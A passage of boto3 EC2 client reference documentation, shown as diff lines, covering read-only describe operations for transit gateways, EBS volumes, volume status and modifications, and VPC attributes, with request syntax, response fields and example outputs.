'TransitGateways': [ + { + 'TransitGatewayId': 'string', + 'TransitGatewayArn': 'string', + 'State': 'pending'|'available'|'modifying'|'deleting'|'deleted', + 'OwnerId': 'string', + 'Description': 'string', + 'CreationTime': datetime(2015, 1, 1), + 'Options': { + 'AmazonSideAsn': 123, + 'TransitGatewayCidrBlocks': [ + 'string', + ], + 'AutoAcceptSharedAttachments': 'enable'|'disable', + 'DefaultRouteTableAssociation': 'enable'|'disable', + 'AssociationDefaultRouteTableId': 'string', + 'DefaultRouteTablePropagation': 'enable'|'disable', + 'PropagationDefaultRouteTableId': 'string', + 'VpnEcmpSupport': 'enable'|'disable', + 'DnsSupport': 'enable'|'disable', + 'MulticastSupport': 'enable'|'disable' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGateways** _(list) --_ + + Information about the transit gateways. + + * _(dict) --_ + + Describes a transit gateway. + + * **TransitGatewayId** _(string) --_ + + The ID of the transit gateway. + + * **TransitGatewayArn** _(string) --_ + + The Amazon Resource Name (ARN) of the transit gateway. + + * **State** _(string) --_ + + The state of the transit gateway. + + * **OwnerId** _(string) --_ + + The ID of the AWS account ID that owns the transit gateway. + + * **Description** _(string) --_ + + The description of the transit gateway. + + * **CreationTime** _(datetime) --_ + + The creation time. + + * **Options** _(dict) --_ + + The transit gateway options. + + * **AmazonSideAsn** _(integer) --_ + + A private Autonomous System Number (ASN) for the Amazon side of a BGP session. The range is 64512 to 65534 for 16-bit ASNs and 4200000000 to 4294967294 for 32-bit ASNs. + + * **TransitGatewayCidrBlocks** _(list) --_ + + The transit gateway CIDR blocks. + + * _(string) --_ + * **AutoAcceptSharedAttachments** _(string) --_ + + Indicates whether attachment requests are automatically accepted. + + * **DefaultRouteTableAssociation** _(string) --_ + + Indicates whether resource attachments are automatically associated with the default association route table. + + * **AssociationDefaultRouteTableId** _(string) --_ + + The ID of the default association route table. + + * **DefaultRouteTablePropagation** _(string) --_ + + Indicates whether resource attachments automatically propagate routes to the default propagation route table. + + * **PropagationDefaultRouteTableId** _(string) --_ + + The ID of the default propagation route table. + + * **VpnEcmpSupport** _(string) --_ + + Indicates whether Equal Cost Multipath Protocol support is enabled. + + * **DnsSupport** _(string) --_ + + Indicates whether DNS support is enabled. + + * **MulticastSupport** _(string) --_ + + Indicates whether multicast is enabled on the transit gateway + + * **Tags** _(list) --_ + + The tags for the transit gateway. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +describe_volume_attribute(kwargs_) + +Describes the specified attribute of the specified volume. You can specify only one attribute at a time. + +For more information about EBS volumes, see [Amazon EBS volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumes.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumeAttribute) + +**Request Syntax** + +response = client.describe_volume_attribute( + Attribute='autoEnableIO'|'productCodes', + VolumeId='string', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The attribute of the volume. This parameter is required. + +* **VolumeId** (_string_) -- + + **[REQUIRED]** + + The ID of the volume. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AutoEnableIO': { + 'Value': True|False + }, + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'VolumeId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **AutoEnableIO** _(dict) --_ + + The state of autoEnableIO attribute. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + * **ProductCodes** _(list) --_ + + A list of product codes. + + * _(dict) --_ + + Describes a product code. + + * **ProductCodeId** _(string) --_ + + The product code. + + * **ProductCodeType** _(string) --_ + + The type of product code. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + +**Examples** + +This example describes the autoEnableIo attribute of the volume with the ID vol-049df61146c4d7901. + +response = client.describe_volume_attribute( + Attribute='autoEnableIO', + VolumeId='vol-049df61146c4d7901', +) + +print(response) + +Expected Output: + +{ + 'AutoEnableIO': { + 'Value': False, + }, + 'VolumeId': 'vol-049df61146c4d7901', + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_volume_status(kwargs_) + +Describes the status of the specified volumes. Volume status provides the result of the checks performed on your volumes to determine events that can impair the performance of your volumes. The performance of a volume can be affected if an issue occurs on the volume's underlying host. If the volume's underlying host experiences a power outage or system issue, after the system is restored, there could be data inconsistencies on the volume. Volume events notify you if this occurs. Volume actions notify you if any action needs to be taken in response to the event. + +The DescribeVolumeStatus operation provides the following information about the specified volumes: + +> _Status_ : Reflects the current status of the volume. The possible values are ok , impaired , warning , or insufficient-data . If all checks pass, the overall status of the volume is ok . If the check fails, the overall status is impaired . If the status is insufficient-data , then the checks might still be taking place on your volume at the time. We recommend that you retry the request. For more information about volume status, see [Monitoring the status of your volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/monitoring-volume-status.html) in the _Amazon Elastic Compute Cloud User Guide_ . +> +> _Events_ : Reflect the cause of a volume status and might require you to take action. For example, if your volume returns an impaired status, then the volume event might be potential-data-inconsistency . This means that your volume has been affected by an issue with the underlying host, has all I/O operations disabled, and might have inconsistent data. +> +> _Actions_ : Reflect the actions you might have to take in response to an event. For example, if the status of the volume is impaired and the volume event shows potential-data-inconsistency , then the action shows enable-volume-io . This means that you may want to enable the I/O operations for the volume by calling the EnableVolumeIO action and then check the volume for data consistency. + +Volume status is based on the volume status checks, and does not reflect the volume state. Therefore, volume status does not indicate volumes in the error state (for example, when a volume is incapable of accepting I/O.) + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumeStatus) + +**Request Syntax** + +response = client.describe_volume_status( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + VolumeIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * action.code - The action code for the event (for example, enable-volume-io ). + * action.description - A description of the action. + * action.event-id - The event ID associated with the action. + * availability-zone - The Availability Zone of the instance. + * event.description - A description of the event. + * event.event-id - The event ID. + * event.event-type - The event type (for io-enabled : passed | failed ; for io-performance : io-performance:degraded | io-performance:severely-degraded | io-performance:stalled ). + * event.not-after - The latest end time for the event. + * event.not-before - The earliest start time for the event. + * volume-status.details-name - The cause for volume-status.status (io-enabled | io-performance ). + * volume-status.details-status - The status of volume-status.details-name (for io-enabled : passed | failed ; for io-performance : normal | degraded | severely-degraded | stalled ). + * volume-status.status - The status of the volume (ok | impaired | warning | insufficient-data ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of volume results returned by DescribeVolumeStatus in paginated output. When this parameter is used, the request only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. If this parameter is not used, then DescribeVolumeStatus returns all results. You cannot specify this parameter and the volume IDs parameter in the same request. +* **NextToken** (_string_) -- The NextToken value to include in a future DescribeVolumeStatus request. When the results of the request exceed MaxResults , this value can be used to retrieve the next page of results. This value is null when there are no more results to return. +* **VolumeIds** (_list_) -- + + The IDs of the volumes. + + Default: Describes all your volumes. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NextToken': 'string', + 'VolumeStatuses': [ + { + 'Actions': [ + { + 'Code': 'string', + 'Description': 'string', + 'EventId': 'string', + 'EventType': 'string' + }, + ], + 'AvailabilityZone': 'string', + 'OutpostArn': 'string', + 'Events': [ + { + 'Description': 'string', + 'EventId': 'string', + 'EventType': 'string', + 'NotAfter': datetime(2015, 1, 1), + 'NotBefore': datetime(2015, 1, 1), + 'InstanceId': 'string' + }, + ], + 'VolumeId': 'string', + 'VolumeStatus': { + 'Details': [ + { + 'Name': 'io-enabled'|'io-performance', + 'Status': 'string' + }, + ], + 'Status': 'ok'|'impaired'|'insufficient-data' + }, + 'AttachmentStatuses': [ + { + 'IoPerformance': 'string', + 'InstanceId': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + * **VolumeStatuses** _(list) --_ + + Information about the status of the volumes. + + * _(dict) --_ + + Describes the volume status. + + * **Actions** _(list) --_ + + The details of the operation. + + * _(dict) --_ + + Describes a volume status operation code. + + * **Code** _(string) --_ + + The code identifying the operation, for example, enable-volume-io . + + * **Description** _(string) --_ + + A description of the operation. + + * **EventId** _(string) --_ + + The ID of the event associated with this operation. + + * **EventType** _(string) --_ + + The event type associated with this operation. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone of the volume. + + * **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + * **Events** _(list) --_ + + A list of events associated with the volume. + + * _(dict) --_ + + Describes a volume status event. + + * **Description** _(string) --_ + + A description of the event. + + * **EventId** _(string) --_ + + The ID of this event. + + * **EventType** _(string) --_ + + The type of this event. + + * **NotAfter** _(datetime) --_ + + The latest end time of the event. + + * **NotBefore** _(datetime) --_ + + The earliest start time of the event. + + * **InstanceId** _(string) --_ + + The ID of the instance associated with the event. + + * **VolumeId** _(string) --_ + + The volume ID. + + * **VolumeStatus** _(dict) --_ + + The volume status. + + * **Details** _(list) --_ + + The details of the volume status. + + * _(dict) --_ + + Describes a volume status. + + * **Name** _(string) --_ + + The name of the volume status. + + * **Status** _(string) --_ + + The intended status of the volume status. + + * **Status** _(string) --_ + + The status of the volume. + + * **AttachmentStatuses** _(list) --_ + + Information about the instances to which the volume is attached. + + * _(dict) --_ + + Information about the instances to which the volume is attached. + + * **IoPerformance** _(string) --_ + + The maximum IOPS supported by the attached instance. + + * **InstanceId** _(string) --_ + + The ID of the attached instance. + + +**Examples** + +This example describes the status for the volume vol-1234567890abcdef0. + +response = client.describe_volume_status( + VolumeIds=[ + 'vol-1234567890abcdef0', + ], +) + +print(response) + +Expected Output: + +{ + 'VolumeStatuses': [ + { + 'Actions': [ + ], + 'AvailabilityZone': 'us-east-1a', + 'Events': [ + ], + 'VolumeId': 'vol-1234567890abcdef0', + 'VolumeStatus': { + 'Details': [ + { + 'Name': 'io-enabled', + 'Status': 'passed', + }, + { + 'Name': 'io-performance', + 'Status': 'not-applicable', + }, + ], + 'Status': 'ok', + }, + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +This example describes the status for all volumes that are impaired. In this example output, there are no impaired volumes. + +response = client.describe_volume_status( + Filters=[ + { + 'Name': 'volume-status.status', + 'Values': [ + 'impaired', + ], + }, + ], +) + +print(response) + +Expected Output: + +{ + 'VolumeStatuses': [ + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_volumes(kwargs_) + +Describes the specified EBS volumes or all of your EBS volumes. + +If you are describing a long list of volumes, we recommend that you paginate the output to make the list more manageable. The MaxResults parameter sets the maximum number of results returned in a single page. If the list of results exceeds your MaxResults value, then that number of results is returned along with a NextToken value that can be passed to a subsequent DescribeVolumes request to retrieve the remaining results. + +For more information about EBS volumes, see [Amazon EBS volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSVolumes.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +response = client.describe_volumes( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + VolumeIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * attachment.attach-time - The time stamp when the attachment initiated. + * attachment.delete-on-termination - Whether the volume is deleted on instance termination. + * attachment.device - The device name specified in the block device mapping (for example, /dev/sda1 ). + * attachment.instance-id - The ID of the instance the volume is attached to. + * attachment.status - The attachment state (attaching | attached | detaching ). + * availability-zone - The Availability Zone in which the volume was created. + * create-time - The time stamp when the volume was created. + * encrypted - Indicates whether the volume is encrypted (true | false ) + * multi-attach-enabled - Indicates whether the volume is enabled for Multi-Attach (true | false ) + * fast-restored - Indicates whether the volume was created from a snapshot that is enabled for fast snapshot restore (true | false ). + * size - The size of the volume, in GiB. + * snapshot-id - The snapshot from which the volume was created. + * status - The state of the volume (creating | available | in-use | deleting | deleted | error ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * volume-id - The volume ID. + * volume-type - The Amazon EBS volume type (gp2 | gp3 | io1 | io2 | st1 | sc1 | standard ) + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **VolumeIds** (_list_) -- + + The volume IDs. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **MaxResults** (_integer_) -- The maximum number of volume results returned by DescribeVolumes in paginated output. When this parameter is used, DescribeVolumes only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another DescribeVolumes request with the returned NextToken value. This value can be between 5 and 500; if MaxResults is given a value larger than 500, only 500 results are returned. If this parameter is not used, then DescribeVolumes returns all results. You cannot specify this parameter and the volume IDs parameter in the same request. +* **NextToken** (_string_) -- The NextToken value returned from a previous paginated DescribeVolumes request where MaxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the NextToken value. This value is null when there are no more results to return. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Volumes': [ + { + 'Attachments': [ + { + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False + }, + ], + 'AvailabilityZone': 'string', + 'CreateTime': datetime(2015, 1, 1), + 'Encrypted': True|False, + 'KmsKeyId': 'string', + 'OutpostArn': 'string', + 'Size': 123, + 'SnapshotId': 'string', + 'State': 'creating'|'available'|'in-use'|'deleting'|'deleted'|'error', + 'VolumeId': 'string', + 'Iops': 123, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'FastRestored': True|False, + 'MultiAttachEnabled': True|False, + 'Throughput': 123 + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **Volumes** _(list) --_ + + Information about the volumes. + + * _(dict) --_ + + Describes a volume. + + * **Attachments** _(list) --_ + + Information about the volume attachments. + + * _(dict) --_ + + Describes volume attachment details. + + * **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + * **Device** _(string) --_ + + The device name. + + * **InstanceId** _(string) --_ + + The ID of the instance. + + * **State** _(string) --_ + + The attachment state of the volume. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + * **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone for the volume. + + * **CreateTime** _(datetime) --_ + + The time stamp when volume creation was initiated. + + * **Encrypted** _(boolean) --_ + + Indicates whether the volume is encrypted. + + * **KmsKeyId** _(string) --_ + + The Amazon Resource Name (ARN) of the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to protect the volume encryption key for the volume. + + * **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + * **Size** _(integer) --_ + + The size of the volume, in GiBs. + + * **SnapshotId** _(string) --_ + + The snapshot from which the volume was created, if applicable. + + * **State** _(string) --_ + + The volume state. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + * **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + * **Tags** _(list) --_ + + Any tags assigned to the volume. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VolumeType** _(string) --_ + + The volume type. + + * **FastRestored** _(boolean) --_ + + Indicates whether the volume was created using fast snapshot restore. + + * **MultiAttachEnabled** _(boolean) --_ + + Indicates whether Amazon EBS Multi-Attach is enabled. + + * **Throughput** _(integer) --_ + + The throughput that the volume supports, in MiB/s. + + * **NextToken** _(string) --_ + + The NextToken value to include in a future DescribeVolumes request. When the results of a DescribeVolumes request exceed MaxResults , this value can be used to retrieve the next page of results. This value is null when there are no more results to return. + + +**Examples** + +This example describes all of your volumes in the default region. + +response = client.describe_volumes( +) + +print(response) + +Expected Output: + +{ + 'NextToken': '', + 'Volumes': [ + { + 'Attachments': [ + { + 'AttachTime': datetime(2013, 12, 18, 22, 35, 0, 2, 352, 0), + 'DeleteOnTermination': True, + 'Device': '/dev/sda1', + 'InstanceId': 'i-1234567890abcdef0', + 'State': 'attached', + 'VolumeId': 'vol-049df61146c4d7901', + }, + ], + 'AvailabilityZone': 'us-east-1a', + 'CreateTime': datetime(2013, 12, 18, 22, 35, 0, 2, 352, 0), + 'Size': 8, + 'SnapshotId': 'snap-1234567890abcdef0', + 'State': 'in-use', + 'VolumeId': 'vol-049df61146c4d7901', + 'VolumeType': 'standard', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +This example describes all volumes that are both attached to the instance with the ID i-1234567890abcdef0 and set to delete when the instance terminates. + +response = client.describe_volumes( + Filters=[ + { + 'Name': 'attachment.instance-id', + 'Values': [ + 'i-1234567890abcdef0', + ], + }, + { + 'Name': 'attachment.delete-on-termination', + 'Values': [ + 'true', + ], + }, + ], +) + +print(response) + +Expected Output: + +{ + 'Volumes': [ + { + 'Attachments': [ + { + 'AttachTime': datetime(2013, 12, 18, 22, 35, 0, 2, 352, 0), + 'DeleteOnTermination': True, + 'Device': '/dev/sda1', + 'InstanceId': 'i-1234567890abcdef0', + 'State': 'attached', + 'VolumeId': 'vol-049df61146c4d7901', + }, + ], + 'AvailabilityZone': 'us-east-1a', + 'CreateTime': datetime(2013, 12, 18, 22, 35, 0, 2, 352, 0), + 'Size': 8, + 'SnapshotId': 'snap-1234567890abcdef0', + 'State': 'in-use', + 'VolumeId': 'vol-049df61146c4d7901', + 'VolumeType': 'standard', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_volumes_modifications(kwargs_) + +Describes the most recent volume modification request for the specified EBS volumes. + +If a volume has never been modified, some information in the output will be null. If a volume has been modified more than once, the output includes only the most recent modification request. + +You can also use CloudWatch Events to check the status of a modification to an EBS volume. For information about CloudWatch Events, see the [Amazon CloudWatch Events User Guide](https://docs.aws.amazon.com/AmazonCloudWatch/latest/events/) . For more information, see [Monitoring volume modifications](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-expand-volume.html#monitoring_mods) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumesModifications) + +**Request Syntax** + +response = client.describe_volumes_modifications( + DryRun=True|False, + VolumeIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + NextToken='string', + MaxResults=123 +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VolumeIds** (_list_) -- + + The IDs of the volumes. + + * _(string) --_ +* **Filters** (_list_) -- + + The filters. + + * modification-state - The current modification state (modifying | optimizing | completed | failed). + * original-iops - The original IOPS rate of the volume. + * original-size - The original size of the volume, in GiB. + * original-volume-type - The original volume type of the volume (standard | io1 | io2 | gp2 | sc1 | st1). + * originalMultiAttachEnabled - Indicates whether Multi-Attach support was enabled (true | false). + * start-time - The modification start time. + * target-iops - The target IOPS rate of the volume. + * target-size - The target size of the volume, in GiB. + * target-volume-type - The target volume type of the volume (standard | io1 | io2 | gp2 | sc1 | st1). + * targetMultiAttachEnabled - Indicates whether Multi-Attach support is to be enabled (true | false). + * volume-id - The ID of the volume. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **NextToken** (_string_) -- The nextToken value returned by a previous paginated request. +* **MaxResults** (_integer_) -- The maximum number of results (up to a limit of 500) to be returned in a paginated request. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VolumesModifications': [ + { + 'VolumeId': 'string', + 'ModificationState': 'modifying'|'optimizing'|'completed'|'failed', + 'StatusMessage': 'string', + 'TargetSize': 123, + 'TargetIops': 123, + 'TargetVolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'TargetThroughput': 123, + 'TargetMultiAttachEnabled': True|False, + 'OriginalSize': 123, + 'OriginalIops': 123, + 'OriginalVolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'OriginalThroughput': 123, + 'OriginalMultiAttachEnabled': True|False, + 'Progress': 123, + 'StartTime': datetime(2015, 1, 1), + 'EndTime': datetime(2015, 1, 1) + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **VolumesModifications** _(list) --_ + + Information about the volume modifications. + + * _(dict) --_ + + Describes the modification status of an EBS volume. + + If the volume has never been modified, some element values will be null. + + * **VolumeId** _(string) --_ + + The ID of the volume. + + * **ModificationState** _(string) --_ + + The current modification state. The modification state is null for unmodified volumes. + + * **StatusMessage** _(string) --_ + + A status message about the modification progress or failure. + + * **TargetSize** _(integer) --_ + + The target size of the volume, in GiB. + + * **TargetIops** _(integer) --_ + + The target IOPS rate of the volume. + + * **TargetVolumeType** _(string) --_ + + The target EBS volume type of the volume. + + * **TargetThroughput** _(integer) --_ + + The target throughput of the volume, in MiB/s. + + * **TargetMultiAttachEnabled** _(boolean) --_ + + The target setting for Amazon EBS Multi-Attach. + + * **OriginalSize** _(integer) --_ + + The original size of the volume, in GiB. + + * **OriginalIops** _(integer) --_ + + The original IOPS rate of the volume. + + * **OriginalVolumeType** _(string) --_ + + The original EBS volume type of the volume. + + * **OriginalThroughput** _(integer) --_ + + The original throughput of the volume, in MiB/s. + + * **OriginalMultiAttachEnabled** _(boolean) --_ + + The original setting for Amazon EBS Multi-Attach. + + * **Progress** _(integer) --_ + + The modification progress, from 0 to 100 percent complete. + + * **StartTime** _(datetime) --_ + + The modification start time. + + * **EndTime** _(datetime) --_ + + The modification completion or failure time. + + * **NextToken** _(string) --_ + + Token for pagination, null if there are no more results + + +describe_vpc_attribute(kwargs_) + +Describes the specified attribute of the specified VPC. You can specify only one attribute at a time. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcAttribute) + +**Request Syntax** + +response = client.describe_vpc_attribute( + Attribute='enableDnsSupport'|'enableDnsHostnames', + VpcId='string', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The VPC attribute. + +* **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of the VPC. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpcId': 'string', + 'EnableDnsHostnames': { + 'Value': True|False + }, + 'EnableDnsSupport': { + 'Value': True|False + } +} + +**Response Structure** + +* _(dict) --_ + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **EnableDnsHostnames** _(dict) --_ + + Indicates whether the instances launched in the VPC get DNS hostnames. If this attribute is true , instances in the VPC get DNS hostnames; otherwise, they do not. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + * **EnableDnsSupport** _(dict) --_ + + Indicates whether DNS resolution is enabled for the VPC. If this attribute is true , the Amazon DNS server resolves DNS hostnames for your instances to their corresponding IP addresses; otherwise, it does not. + + * **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + +**Examples** + +This example describes the enableDnsSupport attribute. This attribute indicates whether DNS resolution is enabled for the VPC. If this attribute is true, the Amazon DNS server resolves DNS hostnames for your instances to their corresponding IP addresses; otherwise, it does not. + +response = client.describe_vpc_attribute( + Attribute='enableDnsSupport', + VpcId='vpc-a01106c2', +) + +print(response) + +Expected Output: + +{ + 'EnableDnsSupport': { + 'Value': True, + }, + 'VpcId': 'vpc-a01106c2', + 'ResponseMetadata': { + '...': '...', + }, +} + +This example describes the enableDnsHostnames attribute. This attribute indicates whether the instances launched in the VPC get DNS hostnames. If this attribute is true, instances in the VPC get DNS hostnames; otherwise, they do not. + +response = client.describe_vpc_attribute( + Attribute='enableDnsHostnames', + VpcId='vpc-a01106c2', +) + +print(response) + +Expected Output: + +{ + 'EnableDnsHostnames': { + 'Value': True, + }, + 'VpcId': 'vpc-a01106c2', + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_vpc_classic_link(kwargs_) + +Describes the ClassicLink status of one or more VPCs. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcClassicLink) + +**Request Syntax** + +response = client.describe_vpc_classic_link( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + VpcIds=[ + 'string', + ] +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * is-classic-link-enabled - Whether the VPC is enabled for ClassicLink (true | false ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **VpcIds** (_list_) -- + + One or more VPCs for which you want to describe the ClassicLink status. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Vpcs': [ + { + 'ClassicLinkEnabled': True|False, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcId': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Vpcs** _(list) --_ + + The ClassicLink status of one or more 